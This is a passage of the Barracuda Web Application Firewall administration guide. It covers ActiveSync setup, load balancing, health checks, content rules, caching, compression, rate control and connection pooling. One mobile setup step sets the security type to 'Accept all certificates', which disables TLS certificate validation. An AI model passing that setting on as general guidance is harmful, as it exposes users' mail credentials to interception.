2. Click Edit Authentication next to the service created in Step 1 (a) - Create an HTTPS Service. The Edit Authentication Policies page
appears.
3. In the Edit Authentication Policy section:
a. Click Show Advanced Settings.
b. Scroll down to the Session Control subsection.
i. Session Timeout for ActiveSync - Set the time (in minutes) that an ActiveSync session can remain valid, after which
the Barracuda Web Application Firewall will communicate with the authentication server to validate the credentials
again. By default, it is 480 minutes (8 hours).
ii. Modify the values of other parameters (if required).
c. Click Save.
Step 2 - Configuring the Mobile Phone for ActiveSync
Perform the following steps on your mobile phone:
1. Locate Settings > Accounts in your mobile phone.

2. Select Add Account > Microsoft Exchange ActiveSync and configure the following details:
3. Account Details:
a. Email address: Enter the email address. Example: user2@exch.adfs.com
b. Domain\user name: Enter the domain name of your organization followed by user name. Example: exch\user2
c. Password: Enter the password. Example: *******
4. Exchange Server Details:
a. Server: Enter the Virtual IP (VIP) address of the service configured in Step 1 (a) – Create an HTTPS Service.
b. Port: Enter the port number. Example: 443
5. Security Type:
a. SSL/TLS (Accept all certificates)
6. Select Save/Done.
Logs
All authentication and subsequent requests that pass-through the Barracuda Web Application Firewall are logged in the BASIC > Access Logs p
age. The access logs generated for ActiveSync contain the user-id, device-id, device-type, etc.


Traffic Management
The Barracuda Web Application Firewall provides load balancing, caching, and compression of website traffic to improve website performance. It
can load balance all TCP traffic in proxy deployments, and using Content Rules can implement Load Balancing, Caching, and Compression of
HTTP application layer data for any deployment.
When the Barracuda Web Application Firewall is in proxy mode, all incoming TCP traffic can be distributed to balance the processing load across
multiple back-end servers. Persistence is maintained for requests from the same client, and server health is monitored, so requests are served as
efficiently as possible.
In addition, for HTTP data, content rules can be used to route requests to servers optimized to handle specific content types. This layer 7 load
balancing is available only for HTTP data, and can be used with any deployment configuration of the Barracuda Web Application Firewall.
Content rules also provide caching or compression options for matching HTTP data, which can decrease data processing demands on the
website.
In this Section
Load Balancing Overview

Configuring Load Balancing for a Service
Configuring Server Settings
How to Add a Real Server
Configuring Caching and Compression
How to Configure Rate Control
Using Connection Pooling: How and Why
Content Routing
How to Add a Content Rule
How to Redirect Traffic to a Different Back-end Server Based on a URL Pattern
Content Rewriting
How to Allow Internet Access for the Back-end Servers in Two-Arm Proxy Mode

Load Balancing Overview
The "Load Balancing" feature is available only in the Barracuda Web Application Firewall 460 and above.
In this section
In this section
Monitoring the Health of the Server
In-Band Health Checks
Out-Of-Band Health Checks
Application Layer Health Check
Configuring a Backup Server
Content Rule
A load balancer is a networking device that distributes traffic across multiple back-end servers in order to improve website response times. The
Barracuda Web Application Firewall can act as a stand-alone load balancer or work in conjunction with other load balancers. Situated in front of
back-end servers, it distributes incoming traffic across the servers using the configured algorithm. The Barracuda Web Application Firewall
supports load balancing of all types of applications. Load balancing ensures that subsequent requests from the same IP address will be routed to
the same back-end server as the initial request. This guarantee of persistence requires an awareness of server health so subsequent requests
are not routed to a server which is no longer responding. The Barracuda Web Application Firewall can monitor server health by tracking server
responses to actual requests and marking the server as out-of-service when errors exceed a user configured threshold. In addition, the
Barracuda Web Application Firewall can perform out-of-band health checks, requests created and sent to a server at configured time intervals to
verify its health.
The Barracuda Web Application Firewall includes the following load-balancing features:
Distributes traffic requests among back-end servers according to a user-configured algorithm.

Automatically identifies server status to ensure appropriate traffic routing.
Adds and removes servers without interrupting network traffic.
Provides persistence support allowing a user to maintain connection integrity between client and web service.
Provides for configuration of a backup server, used only when all other servers being load balanced are out-of-service.
Load balancing can be configured at two levels:
General (all TCP Traffic--layer 4)

Content Rule (HTTP traffic only--layer 7)
The general policy is configured for a service and applies to all TCP requests to the service, while the content rule policy applies to HTTP
requests matching the configured content rule only. The general and content rule configuration procedures are identical. There are three steps to
configure load balancing on a Barracuda Web Application Firewall:
Configure the load balancing algorithm and other general parameters.

Configure a persistence method to maintain the integrity of stored state information.
Configure a failover method to handle requests for a server which is down.
General load balancing, routing requests to back-end servers based on a user configured algorithm, is configured for a service. From BASIC >
Services, choose Edit under Options for the service. Choose the Algorithm, Persistence Method, and Failover Method. The algorithm determines
where the first request from a source IP address is routed. Future requests from the same client will be routed to the same server according to
the configured Persistence method. Failover Method only applies when the persisted server is “out-of-service”. For detailed instructions to
configure load balancing, see online help.
Monitoring the Health of the Server
Load balancing distributes requests to servers, sending subsequent requests from the same client to the same back-end server. To prevent
requests from being sent to an unresponsive server, the health of all back-end servers must be monitored. The Barracuda Web Application
Firewall monitors server health three ways: using In-Band, Out-of-Band, and Application layer health checks. In-Band and Application Layer
Health Checks can only change a server status to out-of-service from an online state; but Out-Of-Band Health Checks, which perform periodic
tests of all servers, allow a server state to change from out-of-service to online when the health checks succeed.
In-Band and Application Layer Health Checks are performed only if the parameter Enable OOB Health Checks is set to Yes for
Out-Of-Band Health Checks. This prevents Servers from being marked out-of-service indefinitely. Disabling Out-of-Band Health Checks
disables monitoring server health.
For detailed configuration instructions, see the online help by clicking Edit for the server on the BASIC > Services page.
In-Band Health Checks
In-Band Health checks monitor a server’s connections and response to user traffic. The In-Band Health Check policy specifies layer 4 and layer 7

error thresholds. The server connections and responses are monitored for errors. When error counts exceed configured thresholds, the server is
marked out-of-service.
Servers marked out-of-service no longer receive requests. Traffic is routed to other load balanced servers if possible. When no healthy server is
available to serve a request, an error response is sent to the client.
In-band monitoring is enabled by default, and default parameters are provided. The settings can be modified if desired. In-band monitoring is
disabled if Out-of-Band Health Checks are disabled.
Out-Of-Band Health Checks
The Barracuda Web Application Firewall also monitors server health by sending requests at configured intervals which are independent of
incoming traffic. Out-of-Band health checks performed in addition to user traffic connections. The Out-of-Band Health Check parameters specify
layer 4 and layer 7 server monitoring.
If a server health check fails, the server is marked as out-of-service. Out-of-service servers continue to be sent data based on Out-Of-Band
Health Check configuration, so when a health check succeeds, the server's status reverts to in-service. An out-of-service server can only be
restored to service using out-of-band health checks because in-band checks require user traffic to be sent to the server, and user traffic isn’t sent
to an out-of-service server.
A server marked out-of service will revert to in-service as soon as Out-of-Band Health Checks succeed. These checks are performed at
configured intervals (by default 10 seconds).
Application Layer Health Check
Application Layer Health Check sends an HTTP request to verify the server is responding correctly. A correct response verifies the server is
healthy. Otherwise, the server is marked as out-of-service. The Application Layer Health Check settings specify the HTTP request type (URL,
Method, Headers), and healthy response (Status Code, Match Content String).
Configuring a Backup Server
An optional backup web server can be configured to be used only when all other load balanced servers fail. For detailed instructions refer to
online help.
Content Rule
A website can be further partitioned based on content in the HTTP requests by creating a content rule. A content rule is a collection of one or
more rules that specify a pattern in the URL or header fields of the request. For requests matching the rule, the configured content rule policies
are applied. Content rules allow management of HTTP traffic flow for a web application.
Configuring a content rule requires the following steps:
Create the content rule for the target web service.

Add one or more rules to define match criteria for this content rule.
Configure the policies to apply to matching requests.
You can configure settings for a content rule which apply to three traffic management techniques:
Load Balancing (only in Proxy mode) - Sets load balancing policy for the content rule. By default, the parent Web service's load
balancing policy is copied into the content rule. Load balancing is tied to a server group, and the Content Rule configuration specifies
which server group to use. This allows distribution of requests based on the content type.
Caching - Sets caching policy for the content rule (refer to Configuring Caching and Compression). This allows selective caching based
on the content type.
Compression - Sets compression policy for the content rule. This improves the response time for clients accessing the Web service by
compressing Web pages with the specific content type.
Rules are evaluated based on a key comprised of the URL, host, and an optional extended match rule in specified sequential order. In most
cases, only host and URL are used to specify a rule. The Barracuda Web Application Firewall optimizes the search for the most common case by
implementing a parallel search algorithm on all rules. The matching is determined by a best match algorithm where the best match is the rule with
the longest matching host and URL keys. For more information refer to Extended Match and Condition Expressions.
Example: Content Rule for Images
Assume that requests to a service are normally served by servers S1, S2, and S3. To direct all requests for image content from the images
directory in the Web server to a different set of servers, say S4 and S5, do the following:
Use Rule for the Service on the BASIC > SERVICES > Services section to create a content rule for requests matching the URL /images
/* as shown below: (For detailed instructions on creating a content rule, refer to online help).

Add one or more servers for this content rule (S4 and S5 in this case) using the Server option under Add. Adding servers for content
rules is similar to adding servers for a service. Any future requests matching /images/* will be now directed to one of the servers added to
this content rule (S4, S5) instead of being sent to the servers associated with the parent service (S1, S2, S3).
By default, the load balancing policy of the parent service is inherited by newly added content groups. To customize the load balancing
policy used by the servers for this content rule, Edit the content Rule.
To configure caching for a content rule, create caching rules specifying file extensions and size restrictions for objects that should be cached on
the Barracuda Web Application Firewall. These objects will be retrieved from the cache directly to serve future requests, rather than fetching the
object content from the back-end servers.
Create compression rules for a content rule, specifying what response content should be compressed by the Barracuda Web Application Firewall
to improve available network bandwidth. For more information on configuring compression, see Configuring Caching and Compression.

Configuring Load Balancing for a Service
A load balancing policy allows the Service to distribute the traffic to an appropriate server based on the configured load balancing algorithm. To
configure the load balancing policy for a Service, navigate to the BASIC > Services page. Identify the Service in the Services list that you want
to configure to load balance, and click Edit next to it. Specify values for the following fields in the Load Balance section:
a. Algorithm – Select the algorithm to be used to distribute incoming requests for the Service.
i. Round Robin – Incoming requests are equally distributed among all servers.
ii. Weighted Round Robin – Requests are distributed in proportion to server weights which you define when you Add a
Server . A server with a higher weight will be sent proportionally more requests. For information on configuring a server,
see How to Add a Real Server .
iii. Least Requests– Load balances the incoming requests based on the number of outstanding requests to the servers.
The requests are distributed to the server with the fewest outstanding requests.
b. Persistence Method – Select the Persistence Method to be used to maintain the connection between a client and the first
server that it connects to, even for load balanced traffic. Persistence is required when the server needs to maintain state
information about every client (for example, login information).
i. None – No persistence configured, all requests, regardless of whether they originate from the same client or different
are load balanced according to the algorithm.
ii. Source IP – Based on the Source IP address of the client, the request is routed to a server. The Source IP Mask
defines how to group the client IP addresses. The first request from a group is load balanced and routed to a server.
Subsequent requests from the same group are routed to the same server to which the first request was routed.
iii. Cookie Insert – The Barracuda Web Application Firewall routes the first request from a client to one of the servers
based on the load balancing algorithm. At the same time, it inserts a cookie to identify the client. Subsequent requests
from the client include the persistence cookie, so they can be routed to the same server as the first request was.
iv. Cookie Passive – Similar to Cookie Insert, only the server inserts the cookie if needed. This provides additional
optimization because requests are load-balanced normally unless there is a requirement to persist a session, which is
indicated by the presence of a cookie.
v. HTTP Header – All incoming HTTP requests are directed to the same Real Server based on the value of the header
specified in the Header Name field. The application (e.g. Microsoft Exchange) specifies the header name. Header Name
is case-sensitive.
vi. URL Parameter – All incoming HTTP requests are directed to the same Real Server based on the value of the
parameter specified in the Parameter Name field. Parameter Name is case-sensitive.
c. Failover Method– Select the method to handle persistent client requests when the server that handled the original request is
out-of-service.
i. Load Balance – The requests are load balanced between the "alive" servers.
ii. Error– Sends out "503 service unavailable" error message. This method is not supported for the persistence method So
urce IP.
d. Source IP Netmask – Enter the netmask for Source IP persistence method. The IP plus netmask results in a network identifier
which is used to identify a client. A more specific netmask (such as 255.255.255.255) will track each client independently, and
may cause a higher memory load on the Web Application Firewall. Whereas as a less specific netmask (such as 255.255.0.0)
will group multiple clients under the same network identifier and connect them all to the same server..
e. Persistence Cookie Name – The name of the cookie that will be used for persistence. This is used when Persistence Method i
s set to Cookie Insert.
f. Persistence Cookie Path – Enter the path property of the persistency cookie.
g. Persistence Cookie Domain – Enter the domain name of the server of a persistency cookie.
h. Cookie Age – Specify the expiry age of the persistence cookie in minutes. This ensures sessions are no longer persisted after
this interval when "Cookie passive" or "Cookie Insert" is chosen as the Persistence Method.
i. Persistence Idle Timeout – Sets the maximum idle time (in seconds) for a persistent connection. A client is directed to the
same Real Server unless the connection is inactive for more than the specified number of seconds. Example: Consider a
Service is configured with two Real Servers, and Persistence Idle Timeout is set to 1200 seconds (20 minutes). When a client
sends a request to this Service, it is directed to the first available Real Server based on the configured load balancing Algorithm.
All subsequent requests are forwarded to the same Real Server. If no request is sent for a time exceeding Persistence Idle
Timeout, then new requests from the client may be forwarded to either Real Server.
j. Header Name – The name of the header for which the value needs to be checked in the HTTP requests.
k. Parameter Name – The name of the parameter for which the value needs to be checked in the URL.
Persisting Traffic across HTTP and HTTPS Services
You can maintain persistence across HTTP and HTTPS services on the Barracuda Web Application Firewall using the “Cookie Insert”
persistence method.
If you have two services for the same web application, where one listens on port 80 (HTTP) and the other on port 443 (HTTPS), you can persist
the traffic to the same server when the client sends a request to a HTTP service, and the subsequent request sent to a HTTPS service in the web
application. This can be achieved by performing the configurations below:
1. Create two (2) services, a HTTP and a HTTPS service in the BASIC > Services page. Ensure both the services are configured with the

1.
same sub set of server(s).

2. Edit both the services and do the following:
a. Set Persistence Method to Cookie Insert.
b. Configure Persistence Cookie Name and Persistence Cookie Path. Ensure that both the services have same cookie name
and cookie path.
3. Set Persistence Across Services to Yes in the ADVANCED > System Configuration page, Advanced section.
Use Case
Consider www.example.com is an e-commerce website in which product viewing and shopping are in the HTTP space, and purchase/checkout is
in the HTTPS space. Initially when a client access www.example.com, the request is landed in the product viewing page http://www.example.com
/us/en_US/products. After selecting the products, the client navigates to the shopping cart to check the list, http://www.example.com/us/en_US/ca
rt. Here, the product viewing and shopping cart are in the HTTP space. The client moves to the purchase/checkout page https://www.example.co
m/us/en_US/login/checkout to buy the selected products. The checkout page is in the HTTPS space.
To ensure persisting traffic between HTTP and HTTPS services, it is required to configure persistence on the Barracuda Web Application Firewall
for the web application.
Here, http://example.com is hosted on service 1 (port 80), and https://example.com is hosted on service 2 (port 443).
In the above scenario, when the client selects the cart, the request is served by service 1/server 1. When the client accesses the checkout page,
the request should be served by service 2/server 1. To achieve this, persistence should be configured between the two services on the Barracuda
Web Application Firewall.
The cookie name and cookie path for both the services (service 1 and service 2) are configured as:
Cookie Name: persistence

Cookie Path: example.com
Persistence across HTTP and HTTPS services is possible only when Persistence Across Services is enabled on the Barracuda Web
Application Firewall. Therefore, ensure that you set Persistence Across Services to Yes in the ADVANCED > System Configuration page, Ad
vanced section.
If one of the server of service 1 is not part of service 2, then the request can be served by any server depending on the load balancing
algorithm.

Configuring Server Settings

A server hosts the actual content for a Service. You can configure one or more servers to load balance the incoming web traffic. For information
on how to add a server, see How to Add a Real Server. The added server is displayed next to the Service or Rule Group with the default security
settings in the Services section on the BASIC > Services page. To modify the server security settings, click Edit next to the server. The Server
Configuration window appears with the following sections:
Server (Basic Configuration)

SSL (Server)
In Band Health Checks
Out of Band Health Checks
Application Layer Health Checks
Connection Pooling
Server (Basic Configuration)
Edit the basic configuration settings of a server using the Server (Basic Configuration) section.
a. Server Name – Enter a name to identify the server.

b. IP Address – Enter the IP address of the server hosting the Service.
c. Port – Enter the port on which the Service resides.
d. Status – Select the status for the server from the drop-down list to handle the requests.
i. In Service – Denotes the requests can be forwarded to the server.
ii. Out of Service All – Denotes requests should not be forwarded to the server. Select this if you wish to terminate all
connections to the server immediately.
iii. Out of Service Maintenance – Denotes requests should not be forwarded to the server. Select this if you wish to take a
server out of service for maintenance or software upgrade, etc. In this case, existing connections are terminated only
after the requests in progress are completed.
iv. Out of Service Sticky – This applies only when a Persistence Method is selected using Load Balance on the Edit
Service page. If selected, persistent client(s) requests are forwarded to the server.
e. Backup Server – Set to Yes to designate this server as a last resort server to be used when all other servers configured under
the Service fail.
f. Weight – Assign a weight for the server. The value indicates the capacity of the server, and is applicable only when the Load
Balancing Algorithm is set to Weighted Round Robin (WRR). Requests are passed to servers in the proportion indicated by
Weight, so the server with the highest Weighted Round Robin (WRR) weight will get the most requests. For example, consider
two servers (server1 with Weight 50 and server2 with Weight 100) for a Service. Server1 will get half the number of requests that
server2 gets.
SSL for Servers
To configure SSL for communication between the Barracuda Web Application Firewall and the back-end servers, refer to Configuring SSL for
Services and Servers.
In Band Health Checks
Set the threshold to monitor health of the server. In In-band-health monitoring, the Barracuda Web Application Firewall checks the server
connections and responses for any network issue/error that is preventing a client from reaching the intended server. If the server error responses
exceed the specified number, the server is marked as out-of-service. Servers in the out-of-service state are disregarded as potential servers for
serving content. If other servers are defined to load balance requests, traffic will be routed to the other servers. If only one server is defined, and it
is in the out-of-service state, it will result in an error response to the browser.
By default, the counter is reset every 1024 requests. If the number of errors exceeds the respective setting (Max HTTP Errors, Max Refused, Max
Timeout Failures or Max Other Failures) within the 1024 requests, probing stops and the server is marked as out-of-service.
If Enable OOB Health Checks is set to No in the Out Of Band Health Checks section, the server remains in the out-of-service state
and no requests are sent to that server. If set to Yes, the server remains in out-of-service state until the next probe is sent after the
specified time interval, and a valid response is received from the server.
a. Max HTTP Errors – Set the maximum number of HTTP error responses to be allowed per 1024 requests before marking the
server as out-of-service
b. Max Refused – Set the maximum number of connection refused errors to be allowed per 1024 connections before marking the
server as out-of-service.
c. Max Timeout Failures – Set the maximum number of connection time-out errors to be allowed per 1024 connections before
marking the server as out-of-service.
d. Max Other Failures – Set the maximum number of other errors to be allowed per 1024 connections before marking the server
as out-of-service.
Out of Band Health Checks

Out-of-band health check is performed at Layer 4 and Layer 7. A periodic probe is sent to check the health of the server. If the server health
check fails, the server is marked as out-of-service. The server continues to be monitored, so if the server health check succeeds, the server's
status reverts to in-service. This is unlike In-Band Health checks, where the server can only be placed in the out-of-service status, but can never
revert because no further user traffic is directed towards an out-of-service server. To send periodic probes to check the health of the server,
configure the following:
a. Enable OOB Health Checks – Set to Yes to enable Out-of-Band monitoring. Note that disabling Out-of-Band Monitoring means
that if a server is marked as out-of-service by In-Band monitoring, it cannot be put back into service without manual intervention.
For this reason, In-Band monitoring is disabled when you disable Out-of-Band monitoring.
b. Interval – Set the interval (time in seconds) between the probes sent by the Barracuda Web Application Firewall to the server to
determine the health status.
Network layer probes involve a series of 3 connection attempts within the interval. Application layer probe involves one HTTP request
during the specified interval. This affects how quickly a 'server down' condition will be detected, and also how quickly it will be marked
as healthy again.
Application Layer Health Checks
Application Layer health check involves making an HTTP request to see if the server is responding correctly. If the server responds correctly, the
server is said to be healthy. Otherwise, the server is marked as out-of-service. The settings for Application Layer determine what kind of HTTP
request is made (URL, Method, Headers), and how to determine if the response was a good response (Status Code and Match Content String).
Application layer health check is governed by Out-Of-Band (OOB) module. To enforce application layer health check policy, set Enable
OOB Health Checks to Yes.
To enable application layer health check, configure the following fields:
a. URL – Enter the URL to be used in the HTTP request to determine the server health. A URL such as /index.html is
recommended which is always expected to be available, and the unavailability of which can only mean that the server is down.
b. Method – Select the HTTP method to be used for the request from the drop-down list.
c. Additional Headers – Enter any additional headers you want to send with the OOB HTTP request.
d. Status Code – Specify the expected HTTP response status code when accessing the URL. Any other status code is considered
to be unsuccessful, and will result in setting the server as 'out-of-service'. Typically, a status code of 200 is used to indicate a
successful response, but in some cases, 300, 301 and 302 may also be considered successful (these status codes indicate
redirect responses).
e. Match Content String – Enter the string that needs to be matched in the response. If specified, the response must contain the
string. If the response does not contain the string, the probe is deemed unsuccessful, and the server will be marked
out-of-service. This helps detect encode errors in the response page. Note: The strings are case sensitive.
Connection Pooling
For information on connection pooling, refer to Using Connection Pooling: How and Why.

How to Add a Real Server

You can add a server to a Service or Rule Group to load balance the incoming Web traffic. Perform the following steps to add a real server:
Adding a Real Server to a Service
1. From the BASIC > Services page in the Services section, identify the Service to which you want to add a real server.
2. Click the Server option next to the Service to add the server. The Add Real Server window appears.
a. Server Name – Enter a name to identify this server.
b. IP Version – Select the Internet Protocol Version from the drop-down list.
c. IP Address – Enter the IP address of the server.
d. Port – Enter the port number of the server.
e. Backup Server – Set to Yes if you want this server to be used when all other servers fail, or are out of service.
f. Weight – Set the load balancing weight for the server.
4. Click Add.
Adding a Real Server to a Rule Group
To configure a Real Server to handle requests matching a Content Rule:
1. From the BASIC > Services page identify the Content Rule to which you want to add a real server.
2. Click the Add Server option next to the rule. The Add Real Server window appears.
a. Server Name – Enter a name to identify this server.
b. IP Version – Select the Internet Protocol Version from the drop-down list.
c. IP Address – Enter the IP address of the server.
d. Port – Enter the port number of the server.
e. Backup Server – Set to Yes if you want this server to be used when all other servers fail, or are out of service.
f. Weight – Set the load balancing weight for the server.
4. Click Add.
Back To: How to Redirect Traffic to a Different Back-end Server Based on a URL Pattern

Configuring Caching and Compression
Caching
Steps to Configure Caching
Content Rules and Dynamic Pages
Object Freshness
Compression
Steps To Configure Compression
Caching
Caching stores commonly used information in local memory for quick retrieval to reduce repeated requests to a web server for the same
information. Web pages, graphics files, and other objects can be cached, sometimes dramatically improving performance and reliability. Benefits
of caching include:
Reduced latency when retrieving web content.

An overall reduction in bandwidth and server load.
Automatic identification and replication of site content.
Steps to Configure Caching
Do the following to enable caching for a Service:
1. From the WEBSITES > Traffic Management > Caching section identify the Service for which you want to enable caching, and click Edi
t next to it.
2. The Caching window appears. Specify values for the following fields:
a. Status – Set to On to enable caching policy for the Service.
b. File Extensions – Add any file extensions of files you want cached.
c. Max Size (KB) – Enter the maximum object size in kilobytes which can be cached.
d. Min Size (B) – Enter the minimum object size in bytes which can be cached.
e. Ignore Request Headers – If set to Yes, HTTP request cache-control headers are ignored for caching decisions (see Object
Freshness).
f. Ignore Response Headers – If set to Yes, HTTP response cache-control headers are ignored for caching decisions (see Object
Freshness).
g. Cache Negative Responses – If set to Yes, HTTP negative responses like 204, 305, 404, 405, 414, 501, 502 and 504 are
cached.
h. Expiry Age (minutes) – Specify the time in minutes after which the Barracuda Web Application Firewall expires the cached
page and goes to the web server for the information requested by the client.
3. Click Save Changes to save the above settings.
Objects larger/smaller than the specified Max/Min Size will not be cached.
Content Rules and Dynamic Pages
Requests are compared to web service content rules and if caching is enabled for the matching rule, the response is cached and served from the
cache for subsequent requests. When disabled, each subsequent request is forwarded to the back-end server for the reply.
Caching works well for responses containing static pages which remain unmodified over multiple requests. When response content is likely to
change for each request due to context or conditions (for example, when server side scripting is used to generate context-sensitive responses
based on URL/form parameters in requests) a dynamic response is required.
A content rule with a URL of /reports/* matches all pages under /reports. If cache is enabled on this content rule, all pages under /repor
ts are cached. If the /reports folder also contains dynamic pages that shouldn’t be cached, use one of the following options:
Move all dynamic pages into another folder, for example /reports/cgi_bin, and create a separate content rule for the URL of /repo
rts/cgi_bin* disabling caching for this content rule.
Disable cache for the original content rule, and do not cache any page under /reports.
Object Freshness
The freshness of cached objects determines their life span and whether to retrieve a newer version from the originating server. A freshness
algorithm determines when an object is stale and directs corresponding requests to the originating server. Otherwise, the request is served with
the cached copy. An expired cached object is still served from the cache, but the response includes a Warning 110 (response is stale) header.
The table below provides the algorithm which uses the object's age to determine object freshness. Age is calculated as follows:
age = (current_time - time_retrieved) + object_age

When both Ignore Request Headers and Ignore Response Headers are Yes, all objects are considered fresh.
When Ignore Request Headers is Yes:
If Ignore Response Headers is No and the age of an object is greater than cached response max-age (if present), the object is
considered stale.
When Ignore Request Headers is No:
If age is greater than request max-age header (if present), the object is considered stale.
The following table describes how to determine an object's freshness.
If ... Then object freshness is calculated as ...
Ignore Response Headers is Yes. freshness = age - expiry_age
Cached response had an expiration time. freshness = current_time - object_expiration_time
Age of an object is greater than Expiry Age. freshness = age - expiry_age
Cached response has a time last modified header. stale_age = time_object_retrieved + object_age
-time_object_last_modified
stale_age = stale_age *age_from_last_modified_percentage / 100)
if age > stale_age, freshness = age - stale_age
Cached response does not have a time last modified header: freshness = age - expiry_age
Staleness < 0, a min-fresh header request is present, and it is set to The object is considered stale.
be greater than the staleness value (positive value of it).
Staleness < 0, and a min-fresh header request is not present. The object is considered fresh.
A max-stale header request is present, and it is set to be greater than The object will expire.
the staleness.
A max-stale header request is not present. The object is considered stale.
Compression
Compression improves response time for clients by reducing the quantity of data transferred. Web pages that use HTML, JavaScript, Java, and
other text-based languages, can be compressed to improve traffic management and significantly reduce download time. Compression can be
applied for all client requests, and to specific client requests that match Content Rules. Enabling compression for a Service applies compression
to all Service requests.
Steps To Configure Compression
1. From the WEBSITES > Traffic Management > Compression section identify the Service for which you want compression enabled.
2. Click Edit next to that Service. The Compression window appears. Specify values for the following fields:
a. Status – Set to On to enable compression policy for the Service.
b. Content Types – Specify the content type(s) to be compressed.
c. Min Size (B) – Specify the minimum size for the response.
d. Compress Unknown Content Types – Set to Yes to compress files of unknown content type. These unknown file types can be
non text content types such as executable binaries, flash content and so on.
3. Click Save Changes.
Compression should be turned off for back-end web servers. The Barracuda Web Application Firewall will not inspect
compressed responses originating from the back-end servers. Instead, back-end servers should send uncompressed content
to the Barracuda Web Application Firewall, which can compress content after applying configured security settings.
The cache should be cleared when you enable compression to avoid retrieving uncompressed cached objects.

How to Configure Rate Control
Rate Control
Before you set up a Rate Control Pool
Benefits of a Rate Control Pool
Scheduling algorithm for Rate Control Pool
Customizing Rate Control Pool
Creating Preferred Clients
Rate Control
The Rate Control policy defines shareable policies for controlling the rate of requests to a web application. The Client/HTTP requests are
delivered to an application server, or parts of it, which can get overloaded with peak traffic and create high response at times. The Barracuda
Web Application Firewall's Rate Control policy prevents application servers from being overloaded. A Rate Control Pool specifies the maximum
number of Active Requests and Client Backlogs along with a set of Preferred Clients. A Preferred Client specification defines a range of IP
addresses and an associated weight. The Barracuda Web Application Firewall uses these weights to perform a weighted round robin scheduling
between queues when forwarding requests to the application server from the rate control pool. You can set a Rate Control pool to limit the client
requests. The Barracuda Web Application Firewall collects requests and queues them in the pool. The back-end application servers receive
requests from the pool at the rate specified.
A default rate control pool is provided by the Barracuda Web Application Firewall which allows the easy set up of Rate control. Using Edit on the
BASIC > Services page or using Edit on the WEBSITES > Advanced Security page, you can select a rate control pool to apply to your Service
or URL policy. Edit the desired Service or URL Policy to select a Rate Control Pool. A custom Rate Control Pool can be created on the ADVANC
ED > Libraries > Rate Control Pool page by selecting Add Rate Control Pool.
Before you set up a Rate Control Pool
Answer the following questions:
1. What are the maximum simultaneous requests that can be served by the resource being protected? This determines the Maximum
Active Requests setting.
2. What, if any, are the bonafide gateways and mega-proxies that will be accessing the protected resources? These are Preferred Clients.
If they proxy client requests, assign a suitable weight to the proxy IP address and if they relay a set of client IP addresses, then assign a
weight to the range of IP addresses.
3. What is the maximum queue to allow for IP addresses not defined in Step 2? This defines the Maximum per client backlog setting.
Benefits of a Rate Control Pool
A Rate Control Pool helps defend against rate control attacks by:
Throttling attackers attempting to flood the application with DoS attacks. The requests get queued for weighted round robin scheduling,
slowing down the request rate seen by the server.
Protecting “Load Sensitive” applications, such as search or DBMS intensive applications, from application DoS attacks.
Allowing bonafide gateways and mega-proxies access while preventing attacks.
Scheduling algorithm for Rate Control Pool
The scheduling algorithm between queues is weighted round robin. Implicitly, the weight of each unconfigured client queue is 1. For example, a
Preferred client is defined with weight 5 and at a given time the Barracuda Web Application Firewall has queues for 2 Unconfigured clients with a
few requests in each. The Barracuda Web Application Firewall will serve 1 request from each unconfigured client queue followed by 5 requests
from the Preferred client queue.
Rate control policies can be specified per service or per URL policy. Rate Control Pools are defined on the ADVANCED > Libraries page. These
rate control pools are globally shareable among services or among URL policies or both. Once defined, they can be bound to multiple services
on the BASIC > Services page, when you Edit a service. Also they can be bound to multiple URL policies on the WEBSITES > Advanced
Security page, when you Edit a URL policy.
Customizing Rate Control Pool
From the ADVANCED > Libraries > Rate Control Pool page use Edit or Add Rate Control Pool to customize a rate control pool. Set the
following values:
Rate Control Pool Name – Enter a name for the new rate control pool.
Maximum Active Requests – Enter the maximum number of Active Requests processed at a given time by the Barracuda Web
Application Firewall. An active request is a request which has not fully completed.
Maximum per client backlog – Enter the number of requests per client IP address that will be queued when the Barracuda Web
Application Firewall has reached the Maximum Active Requests limit. For example, if Maximum Per Client Backlog is set to 32 and
the Barracuda Web Application Firewall is processing the default 100 Maximum Active Requests, then for any given client IP, the

Barracuda Web Application Firewall will queue up to 32 requests. Any requests after that will be dropped until a request is deleted from
the queue.
Maximum Unconfigured Clients – Enter the maximum number of Unconfigured Clients. All clients which are not Preferred Clients are
Unconfigured Clients. For each unique client IP, the Barracuda Web Application Firewall will maintain an individual backlog queue. For
example, if Maximum Unconfigured Clients is set to 100 and Maximum Per Client Backlog is set to 32, the Barracuda Web
Application Firewall will maintain 100 queues each with 32 pending requests, a total of 3200 pending requests.
Click Add to save the configuration.
Use Add Preferred Clients to add a single or range of IP addresses to the pool gets preferred treatment. Each Preferred client has a configured
Weight and its own queue containing Max Per Client Backlog times Weight. For example, if Max Per Client Backlog is set to 32 and preferred
client Weight is set to 5, then the queue size will be 32 x 5. If he preferred client queue contains a range of IP addresses, the queue will include
all requests from all the clients falling within that range.
Creating Preferred Clients
Click Add Preferred Clients, under Options. The Add Preferred Client window appears. Specify values for the following fields:
Name – Enter the name for the client weight.

Status – Sets the status of the preference. Enabling this makes the client IP address range a preferred list of IP addresses.
Preferred Client IP Range – Enter the IP address or the range of IP addresses (For example: 10.0.0.1 – 10.0.0.10) which will be treated
in a preferential manner. Preferred Client is an IP address or a range of IP addresses with an associated weight.
Weight – Enter the weight for the range of IP addresses. These IP addresses are evaluated in the order of their weights; the higher the
weight the higher the precedence (1 is the lowest priority and 100 the highest priority).
Click Add to save the configuration.
Click Delete to delete the created Rate Control Pool from the list.

Using Connection Pooling: How and Why
The Barracuda Web Application Firewall provides connection pooling to speed up request handling. For a server, a pool of connections can be
maintained so requests to that server can use an available connection in the pool rather than waiting on initiating a connection. Using existing
connections delivers requests to that server faster, and decreases connection set up and tear down overhead. Connection Pooling also reduces
the server's load, which frees resources to handle other important tasks. The Barracuda Web Application Firewall supports TCP/IP pooling where
a single server connection can support multiple client connections.
Configuring Connection Pooling
Connection Pooling is configured per server. You must add a server before you can configure connection pooling. To configure connection
pooling, navigate to the BASIC > Services page, click Edit next to the desired server in the Services section. Scroll down to the Connection
Pooling section in the Server Configuration window and specify values for the following:
1. Enable Connection Pooling – Select Yes to allow a connection to the server to be used for multiple requests from clients.
2. Keepalive Timeout – Specify the maximum time in milliseconds before expiring an idle connection which was used at least once. This
value applies per 1024 connections, when a timeout error occurs before turning off the server.
a. Range: 0 to 86400000
b. Recommended: 900000
c. Units: Milliseconds
For more information on configuring a server, see Configuring Server Settings.

Content Routing
In this Section



The BASIC > Services page allows you to create content rules for a Service. Rules added to the Service allow content-aware processing
